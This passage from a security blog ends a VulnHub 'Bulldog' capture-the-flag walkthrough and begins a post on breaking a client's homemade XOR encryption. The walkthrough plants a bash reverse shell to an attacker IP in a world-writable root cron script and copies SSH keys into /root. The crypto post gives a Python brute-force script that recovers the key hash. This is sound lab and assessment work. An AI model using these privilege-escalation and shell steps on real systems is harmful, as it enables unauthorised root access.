<span class="nx">It</span><span class="err">'</span><span class="nx">s</span><span class="w"> </span><span class="nx">great</span><span class="w"> </span><span class="nx">stuff</span><span class="p">!</span><span class="w"> </span><span class="nx">Once</span><span class="w"> </span><span class="nx">I</span><span class="err">'</span><span class="nx">m</span><span class="w"> </span><span class="nx">finished</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">it</span><span class="p">,</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">hacker</span><span class="w"> </span><span class="nx">wouldn</span><span class="err">'</span><span class="nx">t</span><span class="w"> </span><span class="nx">even</span><span class="w"> </span><span class="nx">be</span><span class="w"> </span><span class="nx">able</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">reverse</span><span class="w"> </span><span class="nx">it</span><span class="p">!</span><span class="w"> </span><span class="nx">Keep</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="nx">mind</span><span class="w"> </span><span class="nx">that</span><span class="w"> </span><span class="nx">it</span><span class="err">'</span><span class="nx">s</span><span class="w"> </span><span class="nx">still</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">prototype</span><span class="w"> </span><span class="nx">right</span><span class="w"> </span><span class="nx">now</span><span class="p">.</span><span class="w"> </span><span class="nx">I</span><span class="w"> </span><span class="nx">am</span><span class="w"> </span><span class="nx">about</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">it</span><span class="w"> </span><span class="nx">working</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">Django</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">account</span><span class="p">.</span><span class="w"> </span><span class="nx">I</span><span class="err">'</span><span class="nx">m</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="nx">sure</span><span class="w"> </span><span class="nx">how</span><span class="w"> </span><span class="nx">I</span><span class="err">'</span><span class="nx">ll</span><span class="w"> </span><span class="nx">implement</span><span class="w"> </span><span class="nx">it</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">others</span><span class="p">.</span><span class="w"> </span><span class="nx">Maybe</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">webserver</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">only</span><span class="w"> </span><span class="nx">one</span><span class="w"> </span><span class="nx">who</span><span class="w"> </span><span class="nx">needs</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">have</span><span class="w"> </span><span class="nx">root</span><span class="w"> </span><span class="nx">access</span><span class="w"> </span><span class="nx">sometimes</span><span class="p">?</span>
<span class="nx">Let</span><span class="w"> </span><span class="nx">me</span><span class="w"> </span><span class="nx">know</span><span class="w"> </span><span class="nx">what</span><span class="w"> </span><span class="nx">you</span><span class="w"> </span><span class="nx">think</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">it</span><span class="p">!</span>
<span class="o">-</span><span class="nx">Ashley</span>
</code></pre></div>
<p>We copy the executable to make it our own and be able to execute it:</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">cp</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">bulldogadmin</span><span class="o">/</span><span class="p">.</span><span class="n">hiddenadmindirectory</span><span class="o">/</span><span class="n">customPermissionApp</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">chmod</span><span class="w"> </span><span class="o">+</span><span class="n">x</span><span class="w"> </span><span class="n">customPermissionApp</span>
</code></pre></div>
<p>Then it's reverse, but another lead was found during the reconnaissance for privilege escalation:</p>
<h3>Cron</h3>
<p>By looking at the cron files we also see that there is a runAV task:</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">ahlR</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="o">*</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">722</span><span class="w"> </span><span class="n">Apr</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">2016</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">crontab</span>
<span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="p">.</span><span class="nl">d</span><span class="p">:</span>
<span class="n">total</span><span class="w"> </span><span class="mi">24</span><span class="n">K</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">05</span><span class="w"> </span><span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">94</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Nov</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">06</span><span class="err">:</span><span class="mi">38</span><span class="w"> </span><span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">589</span><span class="w"> </span><span class="n">Jul</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="mi">2014</span><span class="w"> </span><span class="n">mdadm</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">102</span><span class="w"> </span><span class="n">Apr</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">2016</span><span class="w"> </span><span class="p">.</span><span class="n">placeholder</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">191</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">17</span><span class="err">:</span><span class="mi">38</span><span class="w"> </span><span class="n">popularity</span><span class="o">-</span><span class="n">contest</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">54</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">05</span><span class="w"> </span><span class="n">runAV</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
</code></pre></div>
<p>By digging in we found that:</p>
<p>it run a script with root right every minute</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="p">.</span><span class="n">d</span><span class="o">/</span><span class="n">runAV</span>
<span class="o">*/</span><span class="mi">1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="o">/</span><span class="p">.</span><span class="n">hiddenAVDirectory</span><span class="o">/</span><span class="n">AVApplication</span><span class="p">.</span><span class="n">py</span>
</code></pre></div>
<p>the script is world writable:</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">l</span><span class="w"> </span><span class="o">/</span><span class="p">.</span><span class="n">hiddenAVDirectory</span><span class="o">/</span><span class="n">AVApplication</span><span class="p">.</span><span class="n">py</span>
<span class="o">-</span><span class="n">rwxrwxrwx</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">157</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">12</span><span class="w"> </span><span class="o">/</span><span class="p">.</span><span class="n">hiddenAVDirectory</span><span class="o">/</span><span class="n">AVApplication</span><span class="p">.</span><span class="n">py</span>
</code></pre></div>
<p>that the script is just a place holder:</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="p">.</span><span class="n">hiddenAVDirectory</span><span class="o">/</span><span class="n">AVApplication</span><span class="p">.</span><span class="n">py</span>
<span class="err">#!</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">env</span><span class="w"> </span><span class="n">python</span>
<span class="err">#</span><span class="w"> </span><span class="n">Just</span><span class="w"> </span><span class="n">wanted</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">placeholder</span><span class="w"> </span><span class="n">here</span><span class="w"> </span><span class="n">really</span><span class="w"> </span><span class="n">quick</span><span class="p">.</span>
<span class="err">#</span><span class="w"> </span><span class="n">We</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">put</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="k">full</span><span class="w"> </span><span class="n">AV</span><span class="w"> </span><span class="n">here</span><span class="w"> </span><span class="k">when</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">vendor</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">done</span><span class="w"> </span><span class="n">making</span><span class="w"> </span><span class="n">it</span><span class="p">.</span>
<span class="err">#</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">Alan</span>
</code></pre></div>
<p>We can just get a reverse root shell by modifying the file:</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="p">.</span><span class="n">hiddenAVDirectory</span><span class="o">/</span><span class="n">AVApplication</span><span class="p">.</span><span class="n">py</span>
<span class="err">#!</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">bash</span>
<span class="n">bash</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="o">>&</span><span class="w"> </span><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">tcp</span><span class="o">/</span><span class="mf">10.0.2.15</span><span class="o">/</span><span class="mi">4444</span><span class="w"> </span><span class="mi">0</span><span class="o">>&</span><span class="mi">1</span>
</code></pre></div>
<p>And listen client side:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kalili</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">netcat</span><span class="w"> </span><span class="o">-</span><span class="n">l</span><span class="w"> </span><span class="o">-</span><span class="n">p</span><span class="w"> </span><span class="mi">4444</span>
<span class="nl">bash</span><span class="p">:</span><span class="w"> </span><span class="n">cannot</span><span class="w"> </span><span class="k">set</span><span class="w"> </span><span class="n">terminal</span><span class="w"> </span><span class="n">process</span><span class="w"> </span><span class="k">group</span><span class="w"> </span><span class="p">(</span><span class="mi">2145</span><span class="p">)</span><span class="err">:</span><span class="w"> </span><span class="n">Inappropriate</span><span class="w"> </span><span class="n">ioctl</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">device</span>
<span class="nl">bash</span><span class="p">:</span><span class="w"> </span><span class="k">no</span><span class="w"> </span><span class="n">job</span><span class="w"> </span><span class="n">control</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">shell</span>
<span class="n">root</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">id</span>
<span class="n">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">groups</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span>
<span class="n">ls</span><span class="w"> </span><span class="o">/</span><span class="n">root</span>
<span class="n">congrats</span><span class="p">.</span><span class="n">txt</span>
<span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">congrats</span><span class="p">.</span><span class="n">txt</span>
<span class="n">Congratulations</span><span class="w"> </span><span class="k">on</span><span class="w"> </span><span class="n">completing</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">VM</span><span class="w"> </span><span class="err">:</span><span class="n">D</span><span class="w"> </span><span class="n">That</span><span class="w"> </span><span class="n">wasn</span><span class="s1">'t so bad was it?</span>
<span class="s1">Let me know what you thought on twitter, I'</span><span class="n">m</span><span class="w"> </span><span class="nv">@frichette_n</span>
<span class="k">As</span><span class="w"> </span><span class="n">far</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">know</span><span class="w"> </span><span class="n">there</span><span class="w"> </span><span class="k">are</span><span class="w"> </span><span class="n">two</span><span class="w"> </span><span class="n">ways</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">get</span><span class="w"> </span><span class="n">root</span><span class="p">.</span><span class="w"> </span><span class="n">Can</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">find</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">other</span><span class="w"> </span><span class="n">one</span><span class="vm">?</span>
<span class="n">Perhaps</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">sequel</span><span class="w"> </span><span class="n">will</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">more</span><span class="w"> </span><span class="n">challenging</span><span class="p">.</span><span class="w"> </span><span class="n">Until</span><span class="w"> </span><span class="k">next</span><span class="w"> </span><span class="nc">time</span><span class="p">,</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">hope</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="n">enjoyed</span><span class="err">!</span>
</code></pre></div>
<p>Yeah the other one include reverse engineering which is not my thing :)</p>
<p>In order to have a complete interactive shell we may just copy our ssh key on the root folder:</p>
<div class="highlight"><pre><span></span><code>cp /home/django.ssh /root -r
</code></pre></div>
<p>And connect with ssh:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kalili</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">ssh</span><span class="w"> </span><span class="mf">10.0.2.4</span><span class="w"> </span><span class="o">-</span><span class="n">lroot</span><span class="w"> </span><span class="o">-</span><span class="n">p23</span>
<span class="n">Welcome</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">Ubuntu</span><span class="w"> </span><span class="mf">16.04.3</span><span class="w"> </span><span class="n">LTS</span><span class="w"> </span><span class="p">(</span><span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span><span class="w"> </span><span class="mf">4.4.0</span><span class="o">-</span><span class="mi">87</span><span class="o">-</span><span class="n">generic</span><span class="w"> </span><span class="n">x86_64</span><span class="p">)</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
<span class="n">root</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">#</span>
</code></pre></div>
<p>DONE.</p>
<p>Thanks to <a href="https://twitter.com/@frichette_n">@frichette_n</a> for the machine and thanks to <a href="https://twitter.com/VulnHub">@vulnub</a>.</p>Breaking some homemade crypto2017-08-01T18:00:00+02:002017-08-01T18:00:00+02:00maggicktag:maggick.fr,2017-08-01:/2017/08/breaking-some-homemade-crypto.html<p>I recently did a code review assessment on an application for one of my client.
The best part of the application was their own cryptography algorithm.</p>
<p>Moreover, the application was written in PHP and PHP do some strange things with
string, characters and XOR operations.
It only needed a few lines of python in order to break it.</p>
<p>TL;DR : <strong>please do not write your own crypto!</strong></p>
<p>I recently did a code review assessment on an application for one of my client.
The best part of the application was their own cryptography algorithm.</p>
<p>Moreover, the application was written in PHP and PHP do some strange things with
string, characters and XOR operations.
It only needed a few lines of python in order to break it.</p>
<p>TL;DR : <strong>please do not write your own crypto!</strong></p>
<p>The cryptography algorithm was a symmetric one, that means there is always a
private key shared between the encryption and the decryption. In fact the
key was shared for the application.</p>
<h2>Encryption algorithm</h2>
<p>The encryption algorithm is the following (I rewrote it in python for a better
comprehension):</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">crypt</span><span class="p">(</span><span class="n">clearText</span><span class="p">):</span>
<span class="n">privateKey</span> <span class="o">=</span> <span class="s1">'123456'</span>
<span class="n">cipherText</span> <span class="o">=</span> <span class="s1">''</span>
<span class="n">key</span><span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">32000</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">clearText</span><span class="p">)):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)):</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="n">cipherText</span> <span class="o">+=</span> <span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]</span><span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">clearText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">j</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">key2</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="n">privateKey</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">result</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">while</span> <span class="p">(</span><span class="n">i</span><span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">cipherText</span><span class="p">)):</span>
<span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">key2</span><span class="p">)):</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">cipherText</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key2</span><span class="p">[</span><span class="n">j</span><span class="p">]))</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">j</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">return</span> <span class="n">result</span>
</code></pre></div>
<p>We observe that there is only XOR operations. Quick reminder about XOR
operations:</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="w"> </span><span class="n">XOR</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span>
<span class="mf">0</span><span class="w"> </span><span class="n">XOR</span><span class="w"> </span><span class="mf">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span>
<span class="mf">1</span><span class="w"> </span><span class="n">XOR</span><span class="w"> </span><span class="mf">0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span>
<span class="mf">1</span><span class="w"> </span><span class="n">XOR</span><span class="w"> </span><span class="mf">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span>
</code></pre></div>
<p>Moreover, by definition: <code>a XOR b XOR a = b</code></p>
<h2>Breaking things</h2>
<p>In our situation we need to find <code>cipherText</code> in order to find the md5 hash of
the private key. However <code>cipherText</code> is build using the clear text and a random
number included between 0 and 32 000. Therefore by a
<a href="https://en.wikipedia.org/wiki/Known-plaintext_attack">Known-plaintext attack</a>
we can generate the 32 001 values of <code>cipherText</code>, XOR it with the encrypted
string, search for the resulting sting which will be repeating every 36
characters and get the md5 hash of the private key. Our only constrain in that
the plain text must be longer than 36 characters in order to easily find the md5
hash (an other option might have be to search for ascii characters).</p>
<p>Here is the python code:</p>
<div class="highlight"><pre><span></span><code><span class="n">def</span><span class="w"> </span><span class="n">brute</span><span class="p">()</span><span class="err">:</span>
<span class="w"> </span><span class="n">clearText</span><span class="o">=</span><span class="s1">'this is a test in order to break some home made crypto'</span>
<span class="w"> </span><span class="n">codedText</span><span class="o">=</span><span class="n">crypt</span><span class="p">(</span><span class="n">clearText</span><span class="p">)</span>
<span class="w"> </span><span class="n">k</span><span class="o">=</span><span class="mi">0</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">k</span><span class="o"><</span><span class="mi">32001</span><span class="p">)</span><span class="err">:</span>
<span class="w"> </span><span class="k">key</span><span class="o">=</span><span class="w"> </span><span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="nf">str</span><span class="p">(</span><span class="n">k</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">)).</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="w"> </span><span class="n">cipherText</span><span class="o">=</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="o"><</span><span class="w"> </span><span class="nf">len</span><span class="p">(</span><span class="n">clearText</span><span class="p">))</span><span class="err">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nf">len</span><span class="p">(</span><span class="k">key</span><span class="p">))</span><span class="err">:</span>
<span class="w"> </span><span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="w"> </span><span class="n">cipherText</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="k">key</span><span class="o">[</span><span class="n">j</span><span class="o">]+</span><span class="n">chr</span><span class="p">(</span><span class="n">ord</span><span class="p">(</span><span class="n">clearText</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="p">)</span><span class="o">^</span><span class="n">ord</span><span class="p">(</span><span class="k">key</span><span class="o">[</span><span class="n">j</span><span class="o">]</span><span class="p">))</span>
<span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="k">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">i</span><span class="o"><</span><span class="w"> </span><span class="nf">len</span><span class="p">(</span><span class="n">codedText</span><span class="p">))</span><span class="err">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="nf">len</span><span class="p">(</span><span class="n">cipherText</span><span class="p">))</span><span class="err">:</span>
<span class="w"> </span><span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="w"> </span><span class="k">result</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="n">chr</span><span class="p">(</span><span class="n">ord</span><span class="p">(</span><span class="n">codedText</span><span class="o">[</span><span class="n">i</span><span class="o">]</span><span class="p">)</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">ord</span><span class="p">(</span><span class="n">cipherText</span><span class="o">[</span><span class="n">j</span><span class="o">]</span><span class="p">))</span>
<span class="w"> </span><span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="w"> </span><span class="n">j</span><span class="o">+=</span><span class="mi">1</span>
<span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">l</span><span class="o"><</span><span class="mi">32</span><span class="p">)</span><span class="err">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="k">result</span><span class="o">[</span><span class="n">l</span><span class="o">]==</span><span class="k">result</span><span class="o">[</span><span class="n">l+32</span><span class="o">]</span><span class="p">)</span><span class="err">:</span>
<span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">+=</span><span class="mi">1</span>
<span class="w"> </span><span class="n">l</span><span class="o">+=</span><span class="mi">1</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">s</span><span class="o">==</span><span class="mi">32</span><span class="err">:</span>
<span class="w"> </span><span class="k">print</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="w"> </span><span class="k">print</span><span class="p">(</span><span class="k">result</span><span class="o">[</span><span class="n">:32</span><span class="o">]</span><span class="p">)</span>
<span class="w"> </span><span class="k">break</span>
<span class="w"> </span><span class="n">k</span><span class="o">+=</span><span class="mi">1</span>
</code></pre></div>
<p>I put the two function in a file, added a main and run it:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">maggick@eridani ~</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="nc">time</span><span class="w"> </span><span class="n">python</span><span class="w"> </span><span class="n">crypt</span><span class="p">.</span><span class="n">py</span>
<span class="mi">23467</span>
<span class="n">e10adc3949ba59abbe56e057f20f883e</span>
<span class="nc">real</span><span class="w"> </span><span class="mi">0</span><span class="n">m2</span><span class="mf">.186</span><span class="n">s</span>
<span class="k">user</span><span class="w"> </span><span class="mi">0</span><span class="n">m2</span><span class="mf">.186</span><span class="n">s</span>
<span class="n">sys</span><span class="w"> </span><span class="mi">0</span><span class="n">m0</span><span class="mf">.000</span><span class="n">s</span>
<span class="o">[</span><span class="n">maggick@eridani ~</span><span class="o">]</span><span class="err">$</span><span class="w"> </span><span class="n">echo</span><span class="w"> </span><span class="o">-</span><span class="n">en</span><span class="w"> </span><span class="s1">'123456'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">md5sum</span>
<span class="n">e10adc3949ba59abbe56e057f20f883e</span><span class="w"> </span><span class="o">-</span>
</code></pre></div>
<p>We got the md5 hash of the private key. The default key used in the application
was 8 characters long and was use in other algorithms not home made.</p>
<h2>PHP: character XOR character</h2>
<p>PHP is doing really funny things, most of you know that.
When analysing the original PHP code of the encryption function, I found
something very strange:</p>
<div class="highlight"><pre><span></span><code><span class="x">$tmp .= mb_substr($text, $i, 1) ^ mb_substr($key, $j, 1);</span>
</code></pre></div>
<p>How can you make a xor operation between two characters?!</p>
